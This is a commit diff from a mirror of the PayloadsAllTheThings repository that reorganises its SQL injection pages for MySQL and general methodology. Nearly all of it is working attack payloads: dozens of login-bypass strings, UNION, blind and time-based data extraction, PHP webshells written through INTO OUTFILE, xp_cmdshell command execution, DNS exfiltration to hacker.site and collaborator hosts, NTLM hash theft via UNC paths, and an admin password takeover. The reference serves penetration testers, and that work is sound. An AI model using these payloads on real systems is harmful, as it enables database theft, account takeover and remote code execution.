mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
SQL Injection - Methodology
This commit is contained in:
parent
8bc33f8bb7
commit
cde11da0c7
@ -5,7 +5,7 @@
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Exploit](#exploit)
|
||||
- [Methodology](#exploit)
|
||||
- [Google Maps](#google-maps)
|
||||
- [Algolia](#algolia)
|
||||
- [Slack API Token](#slack-api-token)
|
||||
@ -51,7 +51,7 @@
|
||||
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
|
||||
|
||||
|
||||
## Exploit
|
||||
## Methodology
|
||||
|
||||
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
|
||||
|
||||
|
@ -25,23 +25,24 @@
|
||||
* [Using SLEEP in a subselect](#using-sleep-in-a-subselect)
|
||||
* [Using conditional statements](#using-conditional-statements)
|
||||
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
|
||||
* [MYSQL Current queries](#mysql-current-queries)
|
||||
* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
|
||||
* [MYSQL Write a shell](#mysql-write-a-shell)
|
||||
* [Into outfile method](#into-outfile-method)
|
||||
* [Into dumpfile method](#into-dumpfile-method)
|
||||
* [MYSQL UDF command execution](#mysql-udf-command-execution)
|
||||
* [MYSQL Current Queries](#mysql-current-queries)
|
||||
* [MYSQL Read Content of a File](#mysql-read-content-of-a-file)
|
||||
* [MYSQL Command Execution](#mysql-command-execution)
|
||||
* [WEBSHELL - OUTFILE method](#shell---outfile-method)
|
||||
* [WEBSHELL - DUMPFILE method](#shell---dumpfile-method)
|
||||
* [COMMAND - UDF Library](#udf-library)
|
||||
* [MYSQL INSERT](#mysql-insert)
|
||||
* [MYSQL Truncation](#mysql-truncation)
|
||||
* [MYSQL Fast Exploitation](#mysql-fast-exploitation)
|
||||
* [MYSQL Out of band](#mysql-out-of-band)
|
||||
* [DNS exfiltration](#dns-exfiltration)
|
||||
* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing)
|
||||
* [MYSQL json_arrayagg](#mysql-json_arrayagg)
|
||||
* [MYSQL Out of Band](#mysql-out-of-band)
|
||||
* [DNS Exfiltration](#dns-exfiltration)
|
||||
* [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)
|
||||
* [MYSQL WAF Bypass](#mysql-waf-bypass)
|
||||
* [Alternative to information schema](#alternative-to-information-schema)
|
||||
* [Alternative to Information Schema](#alternative-to-information-schema)
|
||||
* [Alternative to version](#alternative-to-version)
|
||||
* [Scientific Notation](#scientific-notation)
|
||||
* [Conditional Comments](#conditional-comments)
|
||||
* [Wide byte injection](#wide-byte-injection)
|
||||
* [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
@ -291,14 +292,20 @@ Works with `MySQL >= 5.0`
|
||||
|
||||
### MYSQL Blind with substring equivalent
|
||||
|
||||
| Function | Example | Description |
|
||||
| --- | --- | --- |
|
||||
| `SUBSTR` | `SUBSTR(version(),1,1)=5` | Extracts a substring from a string (starting at any position) |
|
||||
| `SUBSTRING` | `SUBSTRING(version(),1,1)=5` | Extracts a substring from a string (starting at any position) |
|
||||
| `RIGHT` | `RIGHT(left(version(),1),1)=5` | Extracts a number of characters from a string (starting from right) |
|
||||
| `MID` | `MID(version(),1,1)=4` | Extracts a substring from a string (starting at any position) |
|
||||
| `LEFT` | `LEFT(version(),1)=4` | Extracts a number of characters from a string (starting from left) |
|
||||
|
||||
Examples of Blind SQL injection using SUBSTRING or another equivalent function:
|
||||
|
||||
```sql
|
||||
?id=1 and substring(version(),1,1)=5
|
||||
?id=1 and right(left(version(),1),1)=5
|
||||
?id=1 and left(version(),1)=4
|
||||
?id=1 and ascii(lower(substr(Version(),1,1)))=51
|
||||
?id=1 and (select mid(version(),1,1)=4)
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
|
||||
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
|
||||
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51
|
||||
```
|
||||
|
||||
### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
|
||||
@ -306,24 +313,27 @@ Works with `MySQL >= 5.0`
|
||||
This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
|
||||
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.
|
||||
|
||||
```
|
||||
```SQL
|
||||
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
|
||||
```
|
||||
|
||||
### MySQL Blind SQL Injection binary query using REGEXP.
|
||||
|
||||
Payload:
|
||||
```
|
||||
|
||||
```sql
|
||||
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
|
||||
```
|
||||
|
||||
Would work in the query (where the "where" clause is the injection point):
|
||||
```
|
||||
|
||||
```SQL
|
||||
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
|
||||
```
|
||||
|
||||
In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.
|
||||
|
||||
|
||||
### MYSQL Blind using a conditional statement
|
||||
|
||||
TRUE: `if @@version starts with a 5`:
|
||||
@ -448,7 +458,7 @@ make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(51
|
||||
```
|
||||
|
||||
|
||||
## MYSQL Current queries
|
||||
## MYSQL Current Queries
|
||||
|
||||
This table can list all operations that DB is performing at the moment.
|
||||
|
||||
@ -459,7 +469,7 @@ union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
|
||||
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
|
||||
```
|
||||
|
||||
## MYSQL Read content of a file
|
||||
## MYSQL Read Content of a File
|
||||
|
||||
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
|
||||
|
||||
@ -477,9 +487,9 @@ If you are `root` on the database, you can re-enable the `LOAD_FILE` using the f
|
||||
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
|
||||
```
|
||||
|
||||
## MYSQL Write a shell
|
||||
## MYSQL Command Execution
|
||||
|
||||
### Into outfile method
|
||||
### WEBSHELL - OUTFILE Method
|
||||
|
||||
```sql
|
||||
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
|
||||
@ -488,36 +498,14 @@ GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
|
||||
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
|
||||
```
|
||||
|
||||
### Into dumpfile method
|
||||
### WEBSHELL - DUMPFILE Method
|
||||
|
||||
```sql
|
||||
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
|
||||
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
|
||||
```
|
||||
|
||||
## MYSQL Truncation
|
||||
|
||||
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
|
||||
|
||||
```sql
|
||||
`username` varchar(20) not null
|
||||
```
|
||||
|
||||
Payload: `username = "admin a"`
|
||||
|
||||
## MYSQL Fast Exploitation
|
||||
|
||||
Requirement: `MySQL >= 5.7.22`
|
||||
|
||||
Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed
|
||||
* group_concat() = 1024 symbols
|
||||
* json_arrayagg() > 16,000,000 symbols
|
||||
|
||||
```sql
|
||||
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
|
||||
```
|
||||
|
||||
## MYSQL UDF command execution
|
||||
### COMMAND - UDF Library
|
||||
|
||||
First you need to check if the UDF are installed on the server.
|
||||
|
||||
@ -540,21 +528,66 @@ mysql> SELECT sys_eval('id');
|
||||
```
|
||||
|
||||
|
||||
## MYSQL Out of band
|
||||
## MYSQL INSERT
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
|
||||
|
||||
Inject using payload:
|
||||
|
||||
```sql
|
||||
attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --
|
||||
```
|
||||
|
||||
The query would look like this:
|
||||
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT");
|
||||
```
|
||||
|
||||
This query will insert a row for the user "attacker_dummy@example.com". It will also insert a row for the user "admin@example.com".
|
||||
|
||||
Because this row already exists, the `ON DUPLICATE KEY UPDATE` keyword tells MySQL to update the `password` column of the already existing row to "P@ssw0rd". After this, we can simply authenticate with "admin@example.com" and the password "P@ssw0rd".
|
||||
|
||||
|
||||
## MYSQL Truncation
|
||||
|
||||
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
|
||||
|
||||
```sql
|
||||
`username` varchar(20) not null
|
||||
```
|
||||
|
||||
Payload: `username = "admin a"`
|
||||
|
||||
|
||||
## MYSQL json_arrayagg
|
||||
|
||||
Requirement: `MySQL >= 5.7.22`
|
||||
|
||||
Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed
|
||||
* group_concat() = 1024 symbols
|
||||
* json_arrayagg() > 16,000,000 symbols
|
||||
|
||||
```sql
|
||||
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
|
||||
```
|
||||
|
||||
|
||||
## MYSQL Out of Band
|
||||
|
||||
```powershell
|
||||
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
|
||||
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
|
||||
```
|
||||
|
||||
### DNS exfiltration
|
||||
### DNS Exfiltration
|
||||
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
|
||||
```
|
||||
|
||||
### UNC Path - NTLM hash stealing
|
||||
### UNC Path - NTLM Hash Stealing
|
||||
|
||||
```sql
|
||||
select load_file('\\\\error\\abc');
|
||||
@ -567,7 +600,7 @@ load data infile '\\\\error\\abc' into table database.table_name;
|
||||
|
||||
## MYSQL WAF Bypass
|
||||
|
||||
### Alternative to information schema
|
||||
### Alternative to Information Schema
|
||||
|
||||
`information_schema.tables` alternative
|
||||
|
||||
@ -643,7 +676,7 @@ This technique can be used to obfuscate queries to bypass WAF, for example: `1.e
|
||||
Examples: `/*!12345UNION*/`, `/*!31337SELECT*/`
|
||||
|
||||
|
||||
### Wide byte injection
|
||||
### Wide Byte Injection (GBK)
|
||||
|
||||
Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.
|
||||
|
||||
|
@ -18,16 +18,24 @@
|
||||
* [Tools](#tools)
|
||||
* [Entry Point Detection](#entry-point-detection)
|
||||
* [DBMS Identification](#dbms-identification)
|
||||
* [Authentication bypass](#authentication-bypass)
|
||||
* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
|
||||
* [Polyglot injection](#polyglot-injection-multicontext)
|
||||
* [Routed injection](#routed-injection)
|
||||
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
|
||||
* [Authentication Bypass](#authentication-bypass)
|
||||
* [Raw MD5 and SHA1](#raw-md5-and-sha1)
|
||||
* [UNION Based Injection](#union-based-injection)
|
||||
* [Error Based Injection](#error-based-injection)
|
||||
* [Blind Injection](#blind-injection)
|
||||
* [Boolean Based Injection](#boolean-based-injection)
|
||||
* [Blind Error Based Injection](#blind-error-based-injection)
|
||||
* [Time Based Injection](#time-based-injection)
|
||||
* [Out of Band (OAST)](#out-of-band-oast)
|
||||
* [Stack Based Injection](#stack-based-injection)
|
||||
* [Polyglot Injection](#polyglot-injection)
|
||||
* [Routed Injection](#routed-injection)
|
||||
* [Second Order SQL Injection](#second-order-sql-injection)
|
||||
* [Generic WAF Bypass](#generic-waf-bypass)
|
||||
* [White spaces alternatives](#white-spaces-alternatives)
|
||||
* [White Spaces](#white-spaces)
|
||||
* [No Comma Allowed](#no-comma-allowed)
|
||||
* [No Equal Allowed](#no-equal-allowed)
|
||||
* [Case modification](#case-modification)
|
||||
* [Case Modification](#case-modification)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
@ -121,184 +129,279 @@ Different DBMSs return distinct error messages when they encounter issues. By tr
|
||||
|
||||
|
||||
|
||||
## Authentication bypass
|
||||
## Authentication Bypass
|
||||
|
||||
In a standard authentication mechanism, users provide a username and password. The application typically checks these credentials against a database. For example, a SQL query might look something like this:
|
||||
|
||||
```SQL
|
||||
SELECT * FROM users WHERE username = 'user' AND password = 'pass';
|
||||
```
|
||||
|
||||
An attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:
|
||||
|
||||
```sql
|
||||
'-'
|
||||
' '
|
||||
'&'
|
||||
'^'
|
||||
'*'
|
||||
' or 1=1 limit 1 -- -+
|
||||
'="or'
|
||||
' or ''-'
|
||||
' or '' '
|
||||
' or ''&'
|
||||
' or ''^'
|
||||
' or ''*'
|
||||
'-||0'
|
||||
"-||0"
|
||||
"-"
|
||||
" "
|
||||
"&"
|
||||
"^"
|
||||
"*"
|
||||
'--'
|
||||
"--"
|
||||
'--' / "--"
|
||||
" or ""-"
|
||||
" or "" "
|
||||
" or ""&"
|
||||
" or ""^"
|
||||
" or ""*"
|
||||
or true--
|
||||
" or true--
|
||||
' or true--
|
||||
") or true--
|
||||
') or true--
|
||||
' or 'x'='x
|
||||
') or ('x')=('x
|
||||
')) or (('x'))=(('x
|
||||
" or "x"="x
|
||||
") or ("x")=("x
|
||||
")) or (("x"))=(("x
|
||||
or 2 like 2
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1#
|
||||
or 1=1/*
|
||||
admin' --
|
||||
admin' -- -
|
||||
admin' #
|
||||
admin'/*
|
||||
admin' or '2' LIKE '1
|
||||
admin' or 2 LIKE 2--
|
||||
admin' or 2 LIKE 2#
|
||||
admin') or 2 LIKE 2#
|
||||
admin') or 2 LIKE 2--
|
||||
admin') or ('2' LIKE '2
|
||||
admin') or ('2' LIKE '2'#
|
||||
admin') or ('2' LIKE '2'/*
|
||||
admin' or '1'='1
|
||||
admin' or '1'='1'--
|
||||
admin' or '1'='1'#
|
||||
admin' or '1'='1'/*
|
||||
admin'or 1=1 or ''='
|
||||
admin' or 1=1
|
||||
admin' or 1=1--
|
||||
admin' or 1=1#
|
||||
admin' or 1=1/*
|
||||
admin') or ('1'='1
|
||||
admin') or ('1'='1'--
|
||||
admin') or ('1'='1'#
|
||||
admin') or ('1'='1'/*
|
||||
admin') or '1'='1
|
||||
admin') or '1'='1'--
|
||||
admin') or '1'='1'#
|
||||
admin') or '1'='1'/*
|
||||
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
admin" --
|
||||
admin';--
|
||||
admin" #
|
||||
admin"/*
|
||||
admin" or "1"="1
|
||||
admin" or "1"="1"--
|
||||
admin" or "1"="1"#
|
||||
admin" or "1"="1"/*
|
||||
admin"or 1=1 or ""="
|
||||
admin" or 1=1
|
||||
admin" or 1=1--
|
||||
admin" or 1=1#
|
||||
admin" or 1=1/*
|
||||
admin") or ("1"="1
|
||||
admin") or ("1"="1"--
|
||||
admin") or ("1"="1"#
|
||||
admin") or ("1"="1"/*
|
||||
admin") or "1"="1
|
||||
admin") or "1"="1"--
|
||||
admin") or "1"="1"#
|
||||
admin") or "1"="1"/*
|
||||
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
' OR '1'='1
|
||||
```
|
||||
|
||||
## Authentication Bypass (Raw MD5 SHA1)
|
||||
And leaves the password field empty, the resulting SQL query executed might look like this:
|
||||
|
||||
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
|
||||
```SQL
|
||||
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
|
||||
```
|
||||
|
||||
Here, `'1'='1'` is always true, which means the query could return a valid user, effectively bypassing the authentication check.
|
||||
|
||||
:warning: In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a `LIMIT` clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.
|
||||
|
||||
```sql
|
||||
' or 1=1 limit 1 --
|
||||
```
|
||||
|
||||
:warning: Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.
|
||||
|
||||
* [PayloadsAllTheThings/SQL Injection/Intruder/Auth_Bypass.txt](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Intruder/Auth_Bypass.txt)
|
||||
|
||||
|
||||
### Raw MD5 and SHA1
|
||||
|
||||
In PHP, if the optional `binary` parameter is set to true, then the `md5` digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.
|
||||
|
||||
```php
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
|
||||
```
|
||||
|
||||
Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`
|
||||
An attacker can craft a payload where the result of the `md5($password,true)` function will contain a quote and escape the SQL context, for example with `' or 'SOMETHING`.
|
||||
|
||||
|
||||
| Hash | Input | Output (Raw) | Payload |
|
||||
| ---- | -------- | ----------------------- | --------- |
|
||||
| md5 | ffifdyop | `'or'6<>]<5D><>!r,<2C><>b` | `'or'` |
|
||||
| md5 | 129581926211651571912466741651878684928 | `ÚT0Do#ßÁ'or'8` | `'or'` |
|
||||
| sha1 | 3fDf | `Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!` | `'='` |
|
||||
| sha1 | 178374 | `ÜÛ¾}_ia!8Wm'/*´Õ` | `'/*` |
|
||||
| sha1 | 17 | `Ùp2ûjww%6\` | `\` |
|
||||
|
||||
This behavior can be abused to bypass the authentication by escaping the context.
|
||||
|
||||
```php
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
|
||||
sql1 = "SELECT * FROM admin WHERE pass = ''or'6<>]<5D><>!r,<2C><>b'";
|
||||
```
|
||||
|
||||
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
||||
|
||||
## Polyglot injection (multicontext)
|
||||
## UNION Based Injection
|
||||
|
||||
In a standard SQL query, data is retrieved from one table. The `UNION` operator allows multiple `SELECT` statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a `UNION` statement to the original query.
|
||||
|
||||
Let's assume a vulnerable web application retrieves product details based on a product ID from a database:
|
||||
|
||||
```sql
|
||||
SELECT product_name, product_price FROM products WHERE product_id = 'input_id';
|
||||
```
|
||||
|
||||
An attacker could modify the `input_id` to include the data from another table like `users`.
|
||||
|
||||
```SQL
|
||||
1' UNION SELECT username, password FROM users --
|
||||
```
|
||||
|
||||
After submitting our payload, the query become the following SQL:
|
||||
|
||||
```SQL
|
||||
SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';
|
||||
```
|
||||
|
||||
:warning: The 2 SELECT clauses must have the same number of columns.
|
||||
|
||||
|
||||
## Error Based Injection
|
||||
|
||||
Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.
|
||||
|
||||
For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.
|
||||
|
||||
```sql
|
||||
LIMIT CAST((SELECT version()) as numeric)
|
||||
```
|
||||
|
||||
The error will leak the output of the `version()`.
|
||||
|
||||
```ps1
|
||||
ERROR: invalid input syntax for type numeric: "PostgreSQL 9.5.25 on x86_64-pc-linux-gnu"
|
||||
```
|
||||
|
||||
|
||||
## Blind Injection
|
||||
|
||||
Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.
|
||||
|
||||
|
||||
### Boolean Based Injection
|
||||
|
||||
Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.
|
||||
|
||||
Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.
|
||||
|
||||
Here is a naive example to recover the content of the `@@hostname` variable.
|
||||
|
||||
**Identify Injection Point and Confirm Vulnerability** : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:
|
||||
|
||||
```ps1
|
||||
http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
|
||||
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)
|
||||
```
|
||||
|
||||
**Extract Hostname Length**: Guess the length of the hostname by incrementing until the response indicates a match. For example:
|
||||
|
||||
```ps1
|
||||
http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
|
||||
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
|
||||
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)
|
||||
```
|
||||
|
||||
**Extract Hostname Characters** : Extract each character of the hostname using substring and ASCII comparison:
|
||||
|
||||
```ps1
|
||||
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
|
||||
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --
|
||||
```
|
||||
|
||||
Then repeat the method to discover every characters of the `@@hostname`. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:
|
||||
|
||||
- Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.
|
||||
|
||||
|
||||
### Blind Error Based Injection
|
||||
|
||||
Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.
|
||||
|
||||
|
||||
**Example**: Using `json()` function in SQLite to trigger an error as an oracle to know when the injection is true or false.
|
||||
|
||||
```sql
|
||||
' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK
|
||||
' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- malformed JSON
|
||||
```
|
||||
|
||||
|
||||
### Time Based Injection
|
||||
|
||||
Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.
|
||||
|
||||
* Default `SLEEP` function for the database
|
||||
|
||||
```sql
|
||||
' AND SLEEP(5)/*
|
||||
' AND '1'='1' AND SLEEP(5)
|
||||
' ; WAITFOR DELAY '00:00:05' --
|
||||
```
|
||||
|
||||
* Heavy queries that take a lot of time to complete, usually crypto functions.
|
||||
|
||||
```sql
|
||||
BENCHMARK(2000000,MD5(NOW()))
|
||||
```
|
||||
|
||||
Let's see a basic example to recover the version of the database using a time based sql injection.
|
||||
|
||||
```sql
|
||||
http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --
|
||||
```
|
||||
|
||||
If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.
|
||||
|
||||
|
||||
### Out of Band (OAST)
|
||||
|
||||
Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.
|
||||
|
||||
Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:
|
||||
|
||||
* MySQL
|
||||
|
||||
```sql
|
||||
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
|
||||
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
|
||||
```
|
||||
|
||||
* MSSQL
|
||||
|
||||
```sql
|
||||
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
|
||||
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
|
||||
```
|
||||
|
||||
|
||||
## Stacked Based Injection
|
||||
|
||||
Stacked Queries SQL Injection is a technique where multiple SQL statements are executed in a single query, separated by a delimiter such as a semicolon (`;`). This allows an attacker to execute additional malicious SQL commands following a legitimate query. Not all databases or application configurations support stacked queries.
|
||||
|
||||
```sql
|
||||
1; EXEC xp_cmdshell('whoami') --
|
||||
```
|
||||
|
||||
|
||||
## Polyglot Injection
|
||||
|
||||
A polygot SQL injection payload is a specially crafted SQL injection attack string that can successfully execute in multiple contexts or environments without modification. This means that the payload can bypass different types of validation, parsing, or execution logic in a web application or database by being valid SQL in various scenarios.
|
||||
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
/* MySQL only */
|
||||
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
|
||||
```
|
||||
|
||||
## Routed injection
|
||||
|
||||
## Routed Injection
|
||||
|
||||
> Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus
|
||||
|
||||
In short, the result of the first SQL query is used to build the second SQL query. The usual format is `' union select 0xHEXVALUE --` where the HEX is the SQL injection for the second query.
|
||||
|
||||
**Example 1**:
|
||||
|
||||
`0x2720756e696f6e2073656c65637420312c3223` is the hex encoded of `' union select 1,2#`
|
||||
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
' union select 0x2720756e696f6e2073656c65637420312c3223#
|
||||
```
|
||||
|
||||
## Insert Statement - ON DUPLICATE KEY UPDATE
|
||||
**Example 2**:
|
||||
|
||||
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
|
||||
`0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061` is the hex encoded of `-1' union select login,password from users-- a`.
|
||||
|
||||
```sql
|
||||
Inject using payload:
|
||||
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
||||
|
||||
The query would look like this:
|
||||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
||||
|
||||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
||||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
||||
|
||||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
||||
